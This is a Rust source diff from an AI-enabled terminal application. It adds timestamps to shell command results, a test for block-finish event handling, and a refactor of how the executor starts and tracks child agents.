start_ts: block.start_ts().cloned(),
|
||||
completed_ts: block.completed_ts().cloned(),
|
||||
}
|
||||
} else {
|
||||
let grid_contents = if model.is_alt_screen_active() {
|
||||
@@ -593,6 +615,8 @@ impl ShellCommandExecutor {
|
||||
block_id: block.id().clone(),
|
||||
output: block.output_with_secrets_unobfuscated(),
|
||||
exit_code: block.exit_code(),
|
||||
start_ts: block.start_ts().cloned(),
|
||||
completed_ts: block.completed_ts().cloned(),
|
||||
}
|
||||
} else {
|
||||
let grid_contents = if model.is_alt_screen_active() {
|
||||
@@ -709,11 +733,15 @@ fn action_result_for_requested_command(
|
||||
block_id,
|
||||
output,
|
||||
exit_code,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
} => AIAgentActionResultType::RequestCommandOutput(RequestCommandOutputResult::Completed {
|
||||
command,
|
||||
block_id,
|
||||
output,
|
||||
exit_code,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
}),
|
||||
ActionResult::LongRunningCommandSnapshot {
|
||||
block_id,
|
||||
@@ -747,11 +775,15 @@ fn action_result_for_write_to_long_running_shell_command(
|
||||
block_id,
|
||||
output,
|
||||
exit_code,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
} => AIAgentActionResultType::WriteToLongRunningShellCommand(
|
||||
WriteToLongRunningShellCommandResult::CommandFinished {
|
||||
block_id,
|
||||
output,
|
||||
exit_code,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
},
|
||||
),
|
||||
ActionResult::LongRunningCommandSnapshot {
|
||||
@@ -788,12 +820,16 @@ fn action_result_for_read_shell_command_output(
|
||||
output,
|
||||
exit_code,
|
||||
block_id,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
} => AIAgentActionResultType::ReadShellCommandOutput(
|
||||
ReadShellCommandOutputResult::CommandFinished {
|
||||
command,
|
||||
block_id,
|
||||
output,
|
||||
exit_code,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
},
|
||||
),
|
||||
ActionResult::LongRunningCommandSnapshot {
|
||||
@@ -830,11 +866,15 @@ fn action_result_for_transfer_shell_command_control_to_user(
|
||||
block_id,
|
||||
output,
|
||||
exit_code,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
} => AIAgentActionResultType::TransferShellCommandControlToUser(
|
||||
TransferShellCommandControlToUserResult::CommandFinished {
|
||||
block_id,
|
||||
output,
|
||||
exit_code,
|
||||
start_ts,
|
||||
completed_ts,
|
||||
},
|
||||
),
|
||||
ActionResult::LongRunningCommandSnapshot {
|
||||
@@ -898,6 +938,8 @@ enum ActionResult {
|
||||
block_id: BlockId,
|
||||
output: String,
|
||||
exit_code: ExitCode,
|
||||
start_ts: Option<DateTime<Local>>,
|
||||
completed_ts: Option<DateTime<Local>>,
|
||||
},
|
||||
LongRunningCommandSnapshot {
|
||||
block_id: BlockId,
|
||||
@@ -909,3 +951,7 @@ enum ActionResult {
|
||||
Cancelled,
|
||||
BlockNotFound,
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "shell_command_tests.rs"]
|
||||
mod tests;
|
||||
|
||||
@@ -0,0 +1,91 @@
|
||||
use std::sync::Arc;
|
||||
|
||||
use async_channel::unbounded;
|
||||
use futures::channel::oneshot;
|
||||
use parking_lot::FairMutex;
|
||||
use warpui::{App, EntityId};
|
||||
|
||||
use super::{BlockSelector, ShellCommandExecutor};
|
||||
use crate::terminal::event::{BlockMetadataReceivedEvent, BlockWorkingDirectoryUpdatedEvent};
|
||||
use crate::terminal::model::block::{BlockId, BlockMetadata};
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::terminal::model::session::Sessions;
|
||||
use crate::terminal::model::terminal_model::{BlockIndex, TerminalModel};
|
||||
use crate::terminal::model_events::{ModelEvent, ModelEventDispatcher};
|
||||
|
||||
/// Locks in the contract that `ShellCommandExecutor`'s requested-command finish
|
||||
/// detector reacts only to `BlockMetadataReceived` (precmd) and not to
|
||||
/// `BlockWorkingDirectoryUpdated` (OSC 7). The detector relies on
|
||||
/// `BlockMetadataReceived` firing exactly once per block; OSC 7 can fire many
|
||||
/// times per block, so wiring it into the detector would resolve the wait
|
||||
/// future before the requested command actually finishes.
|
||||
#[test]
|
||||
fn block_working_directory_updated_does_not_drain_finish_senders() {
|
||||
App::test((), |mut app| async move {
|
||||
let terminal_view_id = EntityId::new();
|
||||
let sessions = app.add_model(|_| Sessions::new_for_test());
|
||||
let (_model_events_tx, model_events_rx) = unbounded();
|
||||
let model_event_dispatcher =
|
||||
app.add_model(|ctx| ModelEventDispatcher::new(model_events_rx, sessions.clone(), ctx));
|
||||
let active_session = app.add_model(|ctx| {
|
||||
ActiveSession::new(sessions.clone(), model_event_dispatcher.clone(), ctx)
|
||||
});
|
||||
let terminal_model = Arc::new(FairMutex::new(TerminalModel::mock(None, None)));
|
||||
let executor = app.add_model(|ctx| {
|
||||
ShellCommandExecutor::new(
|
||||
active_session,
|
||||
terminal_model.clone(),
|
||||
&model_event_dispatcher,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
let block_id = BlockId::new();
|
||||
let selector = BlockSelector::Id(block_id);
|
||||
let (tx, _rx) = oneshot::channel::<()>();
|
||||
executor.update(&mut app, |executor, _ctx| {
|
||||
executor.block_finished_senders.insert(selector, tx);
|
||||
});
|
||||
assert_eq!(
|
||||
app.read(|ctx| executor.as_ref(ctx).block_finished_senders.len()),
|
||||
1
|
||||
);
|
||||
|
||||
// OSC 7 update — must NOT drain or resolve the finish sender.
|
||||
model_event_dispatcher.update(&mut app, |_dispatcher, ctx| {
|
||||
ctx.emit(ModelEvent::BlockWorkingDirectoryUpdated(
|
||||
BlockWorkingDirectoryUpdatedEvent {
|
||||
block_metadata: BlockMetadata::new(None, Some("/tmp/new".to_string())),
|
||||
block_index: BlockIndex::zero(),
|
||||
is_for_in_band_command: false,
|
||||
is_done_bootstrapping: true,
|
||||
},
|
||||
));
|
||||
});
|
||||
assert_eq!(
|
||||
app.read(|ctx| executor.as_ref(ctx).block_finished_senders.len()),
|
||||
1,
|
||||
"BlockWorkingDirectoryUpdated must not touch block_finished_senders — \
|
||||
that map is reserved for precmd (BlockMetadataReceived)"
|
||||
);
|
||||
|
||||
// Precmd event — the senders map should be drained (and since the
|
||||
// block isn't in the terminal model, the sender is dropped).
|
||||
model_event_dispatcher.update(&mut app, |_dispatcher, ctx| {
|
||||
ctx.emit(ModelEvent::BlockMetadataReceived(
|
||||
BlockMetadataReceivedEvent {
|
||||
block_metadata: BlockMetadata::new(None, Some("/tmp/precmd".to_string())),
|
||||
block_index: BlockIndex::zero(),
|
||||
is_after_in_band_command: false,
|
||||
is_done_bootstrapping: true,
|
||||
},
|
||||
));
|
||||
});
|
||||
assert_eq!(
|
||||
app.read(|ctx| executor.as_ref(ctx).block_finished_senders.len()),
|
||||
0,
|
||||
"BlockMetadataReceived should drain the finish senders"
|
||||
);
|
||||
});
|
||||
}
|
||||
@@ -1,25 +1,27 @@
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use galaxyui::{Entity, ModelContext, SingletonEntity};
|
||||
use std::collections::HashMap;
|
||||
|
||||
use crate::ai::agent::conversation::{AIConversation, AIConversationId, ConversationStatus};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use shell_words::split as split_shell_words;
|
||||
use galaxy_cli::agent::Harness;
|
||||
use galaxyui::{Entity, ModelContext, ModelHandle, SingletonEntity};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::conversation::{AIConversationId, ConversationStatus};
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionResultType, AIAgentActionType, LifecycleEventType,
|
||||
StartAgentExecutionMode, StartAgentResult,
|
||||
};
|
||||
use crate::ai::blocklist::orchestration_event_streamer::OrchestrationEventStreamer;
|
||||
use crate::ai::blocklist::orchestration_events::OrchestrationEventService;
|
||||
use crate::ai::blocklist::{BlocklistAIHistoryEvent, BlocklistAIHistoryModel};
|
||||
use galaxy_cli::agent::Harness;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use crate::ai::local_harness_setup::local_harness_product_disabled_message;
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
|
||||
/// The result sent back to the executor after observing the child agent's lifecycle.
|
||||
enum StartAgentDecision {
|
||||
/// The child conversation was created successfully.
|
||||
Started { agent_id: String },
|
||||
/// The child agent completed and here is its output (local/blocking mode).
|
||||
Completed { agent_id: String, output: String },
|
||||
/// Per-request outcome of a StartAgent dispatch.
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum StartAgentOutcome {
|
||||
Started {
|
||||
agent_id: String,
|
||||
},
|
||||
/// An error occurred while starting the agent.
|
||||
Error(String),
|
||||
}
|
||||
@@ -33,10 +35,72 @@ fn invalid_local_child_harness_error(harness_type: &str) -> String {
|
||||
}
|
||||
}
|
||||
|
||||
/// Groups the data for a single StartAgent invocation as it flows from the
|
||||
/// executor through the terminal view and pane group into the controller.
|
||||
/// Handles local child launch requests produced by older agents, where the
|
||||
/// prompt encoded the target CLI command and `execution_mode.harness_type` was
|
||||
/// still unset. Normalizing here keeps those requests routed through the Codex
|
||||
/// local harness path instead of launching them as Oz child prompts.
|
||||
fn parse_legacy_local_child_harness_command(command: &str) -> Option<(String, String)> {
|
||||
let args = split_shell_words(command.trim()).ok()?;
|
||||
match args.as_slice() {
|
||||
[binary, flag, child_prompt]
|
||||
if binary == "codex"
|
||||
&& flag == "--dangerously-bypass-approvals-and-sandbox"
|
||||
&& !child_prompt.trim().is_empty() =>
|
||||
{
|
||||
Some(("codex".to_string(), child_prompt.clone()))
|
||||
}
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_legacy_local_child_harness_command(
|
||||
prompt: String,
|
||||
execution_mode: StartAgentExecutionMode,
|
||||
) -> (String, StartAgentExecutionMode) {
|
||||
match execution_mode {
|
||||
StartAgentExecutionMode::Local {
|
||||
harness_type: None,
|
||||
model_id,
|
||||
} => {
|
||||
if let Some((harness_type, child_prompt)) =
|
||||
parse_legacy_local_child_harness_command(&prompt)
|
||||
{
|
||||
(
|
||||
child_prompt,
|
||||
StartAgentExecutionMode::Local {
|
||||
harness_type: Some(harness_type),
|
||||
model_id,
|
||||
},
|
||||
)
|
||||
} else {
|
||||
(
|
||||
prompt,
|
||||
StartAgentExecutionMode::Local {
|
||||
harness_type: None,
|
||||
model_id,
|
||||
},
|
||||
)
|
||||
}
|
||||
}
|
||||
execution_mode => (prompt, execution_mode),
|
||||
}
|
||||
}
|
||||
|
||||
/// Opaque, monotonically increasing request identifier.
|
||||
/// Disambiguates parallel in-flight StartAgent requests.
|
||||
#[derive(Clone, Copy, Debug, Hash, Eq, PartialEq, Default)]
|
||||
pub struct StartAgentRequestId(u64);
|
||||
|
||||
impl StartAgentRequestId {
|
||||
#[cfg(test)]
|
||||
pub const fn from_raw_for_test(value: u64) -> Self {
|
||||
Self(value)
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct StartAgentRequest {
|
||||
pub id: StartAgentRequestId,
|
||||
pub name: String,
|
||||
pub prompt: String,
|
||||
pub execution_mode: StartAgentExecutionMode,
|
||||
@@ -45,22 +109,16 @@ pub struct StartAgentRequest {
|
||||
pub parent_run_id: Option<String>,
|
||||
}
|
||||
|
||||
/// Tracks a single in-flight StartAgent action.
|
||||
struct PendingStartAgent {
|
||||
parent_conversation_id: AIConversationId,
|
||||
/// Set when `StartedNewConversation` fires for a conversation whose
|
||||
/// `parent_conversation_id` matches.
|
||||
/// Set once the child conversation is synchronously created.
|
||||
child_conversation_id: Option<AIConversationId>,
|
||||
sender: async_channel::Sender<StartAgentDecision>,
|
||||
/// When true, the executor blocks until the child agent finishes and
|
||||
/// returns its output as the tool result (local Bedrock mode).
|
||||
wait_for_completion: bool,
|
||||
sender: async_channel::Sender<StartAgentOutcome>,
|
||||
}
|
||||
|
||||
pub struct StartAgentExecutor {
|
||||
/// All in-flight StartAgent actions. Multiple agents can be spawned
|
||||
/// concurrently from the same parent.
|
||||
pending: Vec<PendingStartAgent>,
|
||||
pending: HashMap<StartAgentRequestId, PendingStartAgent>,
|
||||
next_request_id: u64,
|
||||
}
|
||||
|
||||
impl StartAgentExecutor {
|
||||
@@ -69,213 +127,183 @@ impl StartAgentExecutor {
|
||||
ctx.subscribe_to_model(&history_model, Self::handle_history_event);
|
||||
|
||||
Self {
|
||||
pending: Vec::new(),
|
||||
pending: HashMap::new(),
|
||||
next_request_id: 0,
|
||||
}
|
||||
}
|
||||
|
||||
fn next_request_id(&mut self) -> StartAgentRequestId {
|
||||
let id = self.next_request_id;
|
||||
self.next_request_id = self.next_request_id.wrapping_add(1);
|
||||
StartAgentRequestId(id)
|
||||
}
|
||||
|
||||
/// Links a pending request to its freshly-created child
|
||||
/// conversation so subsequent history events can find it.
|
||||
fn record_child_conversation(
|
||||
&mut self,
|
||||
request_id: StartAgentRequestId,
|
||||
child_conversation_id: AIConversationId,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
let Some(pending) = self.pending.get_mut(&request_id) else {
|
||||
return;
|
||||
};
|
||||
pending.child_conversation_id = Some(child_conversation_id);
|
||||
self.maybe_complete_pending_for_child_state(request_id, child_conversation_id, ctx);
|
||||
}
|
||||
|
||||
fn find_pending_by_child(
|
||||
&self,
|
||||
child_conversation_id: &AIConversationId,
|
||||
) -> Option<StartAgentRequestId> {
|
||||
self.pending.iter().find_map(|(id, pending)| {
|
||||
(pending.child_conversation_id.as_ref() == Some(child_conversation_id)).then_some(*id)
|
||||
})
|
||||
}
|
||||
|
||||
fn complete_pending_as_started(
|
||||
&mut self,
|
||||
request_id: StartAgentRequestId,
|
||||
child_conversation_id: AIConversationId,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
let Some(pending) = self.pending.remove(&request_id) else {
|
||||
return;
|
||||
};
|
||||
let agent_id = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&child_conversation_id)
|
||||
.and_then(|conversation| conversation.orchestration_agent_id());
|
||||
match agent_id {
|
||||
Some(id) => {
|
||||
let _ = pending.sender.try_send(StartAgentOutcome::Started {
|
||||
agent_id: id.clone(),
|
||||
});
|
||||
OrchestrationEventStreamer::handle(ctx).update(ctx, |streamer, ctx| {
|
||||
streamer.register_watched_run_id(pending.parent_conversation_id, id, ctx);
|
||||
});
|
||||
}
|
||||
None => {
|
||||
log::error!(
|
||||
"No agent identifier found for child conversation {child_conversation_id:?}"
|
||||
);
|
||||
let _ = pending.sender.try_send(StartAgentOutcome::Error(
|
||||
"Server did not assign an agent identifier".to_string(),
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn complete_pending_as_error(
|
||||
&mut self,
|
||||
request_id: StartAgentRequestId,
|
||||
child_conversation_id: AIConversationId,
|
||||
error_msg: String,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
let Some(pending) = self.pending.remove(&request_id) else {
|
||||
return;
|
||||
};
|
||||
let _ = pending.sender.try_send(StartAgentOutcome::Error(error_msg));
|
||||
// A child that reaches `complete_pending_as_error` never obtained an
|
||||
// agent id, so it failed at the launch stage. Clean up its hidden
|
||||
// pane + conversation so the orchestration pill bar does not retain a
|
||||
// dead chip — but only for terminal failures, leaving recoverable
|
||||
// `Blocked` startup states (e.g. awaiting GitHub auth) intact.
|
||||
let should_cleanup = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&child_conversation_id)
|
||||
.is_some_and(|conversation| should_cleanup_failed_child_launch(conversation.status()));
|
||||
if should_cleanup {
|
||||
ctx.emit(StartAgentExecutorEvent::CleanupFailedChildLaunch {
|
||||
conversation_id: child_conversation_id,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
fn maybe_complete_pending_for_child_state(
|
||||
&mut self,
|
||||
request_id: StartAgentRequestId,
|
||||
child_conversation_id: AIConversationId,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
let Some(conversation) =
|
||||
BlocklistAIHistoryModel::as_ref(ctx).conversation(&child_conversation_id)
|
||||
else {
|
||||
return;
|
||||
};
|
||||
if let Some(error_msg) = start_agent_error_message_for_status(
|
||||
conversation.status(),
|
||||
conversation.status_error_message().as_deref(),
|
||||
) {
|
||||
self.complete_pending_as_error(request_id, child_conversation_id, error_msg, ctx);
|
||||
return;
|
||||
}
|
||||
if conversation.orchestration_agent_id().is_some() {
|
||||
self.complete_pending_as_started(request_id, child_conversation_id, ctx);
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_history_event(
|
||||
&mut self,
|
||||
_: ModelHandle<BlocklistAIHistoryModel>,
|
||||
event: &BlocklistAIHistoryEvent,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
match event {
|
||||
BlocklistAIHistoryEvent::StartedNewConversation {
|
||||
new_conversation_id,
|
||||
..
|
||||
} => {
|
||||
if self.pending.is_empty() {
|
||||
return;
|
||||
}
|
||||
let history = BlocklistAIHistoryModel::as_ref(ctx);
|
||||
let Some(conversation) = history.conversation(new_conversation_id) else {
|
||||
return;
|
||||
};
|
||||
let parent_id = conversation.parent_conversation_id();
|
||||
// Find the first pending entry that matches this parent and hasn't been assigned a child yet.
|
||||
if let Some(pending) = self.pending.iter_mut().find(|p| {
|
||||
p.child_conversation_id.is_none() && parent_id == Some(p.parent_conversation_id)
|
||||
}) {
|
||||
pending.child_conversation_id = Some(*new_conversation_id);
|
||||
}
|
||||
}
|
||||
BlocklistAIHistoryEvent::ConversationServerTokenAssigned {
|
||||
conversation_id, ..
|
||||
} => {
|
||||
let Some(idx) = self
|
||||
.pending
|
||||
.iter()
|
||||
.position(|p| p.child_conversation_id.as_ref() == Some(conversation_id))
|
||||
else {
|
||||
let Some(request_id) = self.find_pending_by_child(conversation_id) else {
|
||||
return;
|
||||
};
|
||||
// Don't remove yet if we're waiting for completion — we need
|
||||
// the entry to stay so UpdatedConversationStatus can find it.
|
||||
if self.pending[idx].wait_for_completion {
|
||||
// Just log and continue — we'll resolve on Success status.
|
||||
let conversation =
|
||||
BlocklistAIHistoryModel::as_ref(ctx).conversation(conversation_id);
|
||||
let agent_id = conversation
|
||||
.and_then(|c| c.orchestration_agent_id())
|
||||
.or_else(|| {
|
||||
conversation.and_then(|c| {
|
||||
c.server_conversation_token()
|
||||
.map(|t| t.as_str().to_string())
|
||||
})
|
||||
})
|
||||
.unwrap_or_else(|| conversation_id.to_string());
|
||||
log::info!(
|
||||
"[start_agent] Child agent started: conversation_id={:?}, agent_id={}",
|
||||
conversation_id,
|
||||
agent_id
|
||||
);
|
||||
log::info!(
|
||||
"[start_agent] Local mode: waiting for child {:?} to complete",
|
||||
conversation_id
|
||||
);
|
||||
return;
|
||||
}
|
||||
let pending = self.pending.remove(idx);
|
||||
let conversation =
|
||||
BlocklistAIHistoryModel::as_ref(ctx).conversation(conversation_id);
|
||||
// orchestration_agent_id() uses run_id in v2 mode, which won't
|
||||
// exist for locally-spawned Bedrock child agents. Fall back to
|
||||
// the server conversation token (set by the stream Init event)
|
||||
// or the conversation ID itself as the agent identifier.
|
||||
let agent_id = conversation
|
||||
.and_then(|c| c.orchestration_agent_id())
|
||||
.or_else(|| {
|
||||
conversation.and_then(|c| {
|
||||
c.server_conversation_token()
|
||||
.map(|t| t.as_str().to_string())
|
||||
})
|
||||
})
|
||||
.unwrap_or_else(|| conversation_id.to_string());
|
||||
|
||||
log::info!(
|
||||
"[start_agent] Child agent started: conversation_id={:?}, agent_id={}",
|
||||
conversation_id,
|
||||
agent_id
|
||||
);
|
||||
|
||||
// Only register with the orchestration streamer if the parent
|
||||
// has a run_id (server-assigned). Local Bedrock child agents
|
||||
// don't have server-side orchestration — attempting to open an
|
||||
// SSE stream to a non-existent server freezes the app.
|
||||
let parent_has_run_id = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&pending.parent_conversation_id)
|
||||
.and_then(|c| c.run_id())
|
||||
.is_some();
|
||||
|
||||
if pending.wait_for_completion {
|
||||
// Local mode: don't resolve yet — wait for the child to
|
||||
// finish (UpdatedConversationStatus → Success) so we can
|
||||
// return its output as the tool result.
|
||||
log::info!(
|
||||
"[start_agent] Local mode: waiting for child {:?} to complete",
|
||||
conversation_id
|
||||
);
|
||||
} else {
|
||||
let _ = pending.sender.try_send(StartAgentDecision::Started {
|
||||
agent_id: agent_id.clone(),
|
||||
});
|
||||
if parent_has_run_id {
|
||||
if FeatureFlag::OrchestrationV2.is_enabled() {
|
||||
OrchestrationEventStreamer::handle(ctx).update(ctx, |streamer, ctx| {
|
||||
streamer.register_watched_run_id(
|
||||
pending.parent_conversation_id,
|
||||
agent_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
} else {
|
||||
OrchestrationEventService::handle(ctx).update(ctx, |svc, ctx| {
|
||||
svc.emit_child_startup_started(*conversation_id, ctx);
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
self.complete_pending_as_started(request_id, *conversation_id, ctx);
|
||||
}
|
||||
BlocklistAIHistoryEvent::UpdatedConversationStatus {
|
||||
conversation_id, ..
|
||||
} => {
|
||||
let Some(idx) = self
|
||||
.pending
|
||||
.iter()
|
||||
.position(|p| p.child_conversation_id.as_ref() == Some(conversation_id))
|
||||
else {
|
||||
let Some(request_id) = self.find_pending_by_child(conversation_id) else {
|
||||
return;
|
||||
};
|
||||
let history = BlocklistAIHistoryModel::as_ref(ctx);
|
||||
let Some(conversation) = history.conversation(conversation_id) else {
|
||||
return;
|
||||
};
|
||||
|
||||
match conversation.status() {
|
||||
ConversationStatus::Success => {
|
||||
if !self.pending[idx].wait_for_completion {
|
||||
// Non-blocking mode — already resolved on token assignment.
|
||||
return;
|
||||
}
|
||||
let pending = self.pending.remove(idx);
|
||||
// Extract the child's text output from its last exchange.
|
||||
let output = extract_child_output(conversation);
|
||||
log::info!(
|
||||
"[start_agent] Child agent {:?} completed with {} chars of output",
|
||||
conversation_id,
|
||||
output.len()
|
||||
);
|
||||
let agent_id = conversation
|
||||
.orchestration_agent_id()
|
||||
.or_else(|| {
|
||||
conversation
|
||||
.server_conversation_token()
|
||||
.map(|t| t.as_str().to_string())
|
||||
})
|
||||
.unwrap_or_else(|| conversation_id.to_string());
|
||||
let _ = pending
|
||||
.sender
|
||||
.try_send(StartAgentDecision::Completed { agent_id, output });
|
||||
}
|
||||
status => {
|
||||
let error_msg = start_agent_error_message_for_status(
|
||||
status,
|
||||
conversation.status_error_message(),
|
||||
);
|
||||
if let Some(error_msg) = error_msg {
|
||||
let pending = self.pending.remove(idx);
|
||||
let _ = pending
|
||||
.sender
|
||||
.try_send(StartAgentDecision::Error(error_msg.clone()));
|
||||
if !FeatureFlag::OrchestrationV2.is_enabled() {
|
||||
OrchestrationEventService::handle(ctx).update(ctx, |svc, ctx| {
|
||||
svc.emit_child_startup_errored(
|
||||
*conversation_id,
|
||||
"conversation_status".to_string(),
|
||||
error_msg,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
let error_msg = start_agent_error_message_for_status(
|
||||
conversation.status(),
|
||||
conversation.status_error_message().as_deref(),
|
||||
);
|
||||
if let Some(error_msg) = error_msg {
|
||||
self.complete_pending_as_error(request_id, *conversation_id, error_msg, ctx);
|
||||
}
|
||||
}
|
||||
BlocklistAIHistoryEvent::CreatedSubtask { .. }
|
||||
BlocklistAIHistoryEvent::NewConversationRequestComplete {
|
||||
request_id,
|
||||
conversation_id,
|
||||
} => {
|
||||
self.record_child_conversation(*request_id, *conversation_id, ctx);
|
||||
}
|
||||
BlocklistAIHistoryEvent::StartedNewConversation { .. }
|
||||
| BlocklistAIHistoryEvent::CreatedSubtask { .. }
|
||||
| BlocklistAIHistoryEvent::UpgradedTask { .. }
|
||||
| BlocklistAIHistoryEvent::AppendedExchange { .. }
|
||||
| BlocklistAIHistoryEvent::ReassignedExchange { .. }
|
||||
| BlocklistAIHistoryEvent::UpdatedStreamingExchange { .. }
|
||||
| BlocklistAIHistoryEvent::SetActiveConversation { .. }
|
||||
| BlocklistAIHistoryEvent::ClearedActiveConversation { .. }
|
||||
| BlocklistAIHistoryEvent::ClearedConversationsInTerminalView { .. }
|
||||
| BlocklistAIHistoryEvent::ClearedConversationsForTerminalSurface { .. }
|
||||
| BlocklistAIHistoryEvent::UpdatedTodoList { .. }
|
||||
| BlocklistAIHistoryEvent::UpdatedAutoexecuteOverride { .. }
|
||||
| BlocklistAIHistoryEvent::SplitConversation { .. }
|
||||
| BlocklistAIHistoryEvent::RemoveConversation { .. }
|
||||
| BlocklistAIHistoryEvent::DeletedConversation { .. }
|
||||
| BlocklistAIHistoryEvent::RestoredConversations { .. }
|
||||
| BlocklistAIHistoryEvent::UpdatedConversationTitle { .. }
|
||||
| BlocklistAIHistoryEvent::UpdatedConversationMetadata { .. }
|
||||
| BlocklistAIHistoryEvent::UpdatedConversationArtifacts { .. } => {}
|
||||
| BlocklistAIHistoryEvent::UpdatedConversationArtifacts { .. }
|
||||
| BlocklistAIHistoryEvent::ConversationTransferredBetweenTerminalSurfaces { .. } => {}
|
||||
BlocklistAIHistoryEvent::OrchestrationConfigUpdated { .. }
|
||||
| BlocklistAIHistoryEvent::ConversationUsageMetadataUpdated { .. }
|
||||
| BlocklistAIHistoryEvent::LocalSharedSessionEstablished { .. } => {}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -311,21 +339,48 @@ impl StartAgentExecutor {
|
||||
let prompt = prompt.clone();
|
||||
let version = *version;
|
||||
let parent_conversation_id = input.conversation_id;
|
||||
let (execution_mode, parent_run_id) = match execution_mode.clone() {
|
||||
StartAgentExecutionMode::Local { harness_type: None } => {
|
||||
// Legacy local Oz child agents do not use
|
||||
// StartAgentRequest.parent_run_id. Instead, the child
|
||||
// conversation is linked back to its parent on the first
|
||||
// request via Request.metadata.parent_agent_id, sourced
|
||||
// from the conversation's versioned orchestration_agent_id()
|
||||
// (run_id in v2, server conversation token in v1). Remote
|
||||
// child agents and local third-party harness children need
|
||||
// parent_run_id here because their run is spawned before that
|
||||
// first child request exists.
|
||||
(StartAgentExecutionMode::Local { harness_type: None }, None)
|
||||
let (prompt, execution_mode) =
|
||||
normalize_legacy_local_child_harness_command(prompt, execution_mode.clone());
|
||||
let (execution_mode, parent_run_id) = match execution_mode {
|
||||
StartAgentExecutionMode::Local {
|
||||
harness_type: None,
|
||||
model_id,
|
||||
} => {
|
||||
// Oz local children resolve their parent's run id from the
|
||||
// parent conversation. This mirrors the third-party-harness
|
||||
// and remote-child branches below; the child task row is
|
||||
// created eagerly at dispatch (see
|
||||
// `launch_local_no_harness_child`) using this value as the
|
||||
// `parent_run_id` on `CreateAgentTask`. Bail out if the
|
||||
// parent has no `run_id` yet — the eager-create path has no
|
||||
// late-binding fallback (the pre-change lazy path would have
|
||||
// linked via `Request.metadata.parent_agent_id` later), so
|
||||
// proceeding would mint an orphan child with no server-side
|
||||
// parent linkage.
|
||||
let parent_run_id = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&parent_conversation_id)
|
||||
.and_then(|conversation| conversation.run_id());
|
||||
let Some(parent_run_id) = parent_run_id else {
|
||||
return ActionExecution::Sync(AIAgentActionResultType::StartAgent(
|
||||
StartAgentResult::Error {
|
||||
error:
|
||||
"Local Oz child agents require the parent run_id to be available."
|
||||
.to_string(),
|
||||
version,
|
||||
},
|
||||
));
|
||||
};
|
||||
(
|
||||
StartAgentExecutionMode::Local {
|
||||
harness_type: None,
|
||||
model_id,
|
||||
},
|
||||
Some(parent_run_id),
|
||||
)
|
||||
}
|
||||
StartAgentExecutionMode::Local {
|
||||
harness_type: Some(harness_type),
|
||||
model_id,
|
||||
} => {
|
||||
let Some(harness) = Harness::parse_local_child_harness(&harness_type) else {
|
||||
return ActionExecution::Sync(AIAgentActionResultType::StartAgent(
|
||||
@@ -335,12 +390,10 @@ impl StartAgentExecutor {
|
||||
},
|
||||
));
|
||||
};
|
||||
|
||||
if !FeatureFlag::OrchestrationV2.is_enabled() {
|
||||
if let Some(message) = local_harness_product_disabled_message(harness) {
|
||||
return ActionExecution::Sync(AIAgentActionResultType::StartAgent(
|
||||
StartAgentResult::Error {
|
||||
error: "Local harness child agents require orchestration v2."
|
||||
.to_string(),
|
||||
error: message.to_string(),
|
||||
version,
|
||||
},
|
||||
));
|
||||
@@ -363,6 +416,7 @@ impl StartAgentExecutor {
|
||||
(
|
||||
StartAgentExecutionMode::Local {
|
||||
harness_type: Some(harness.to_string()),
|
||||
model_id,
|
||||
},
|
||||
Some(parent_run_id),
|
||||
)
|
||||
@@ -375,16 +429,8 @@ impl StartAgentExecutor {
|
||||
worker_host,
|
||||
harness_type,
|
||||
title,
|
||||
auth_secret_name,
|
||||
} => {
|
||||
if !FeatureFlag::OrchestrationV2.is_enabled() {
|
||||
return ActionExecution::Sync(AIAgentActionResultType::StartAgent(
|
||||
StartAgentResult::Error {
|
||||
error: "Remote child agents require orchestration v2.".to_string(),
|
||||
version,
|
||||
},
|
||||
));
|
||||
}
|
||||
|
||||
let harness_type = Harness::parse_orchestration_harness(&harness_type)
|
||||
.map(|harness| harness.to_string())
|
||||
.unwrap_or(harness_type);
|
||||
@@ -408,7 +454,6 @@ impl StartAgentExecutor {
|
||||
with an empty environment."
|
||||
);
|
||||
}
|
||||
|
||||
let parent_run_id = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&parent_conversation_id)
|
||||
.and_then(|conversation| conversation.run_id());
|
||||
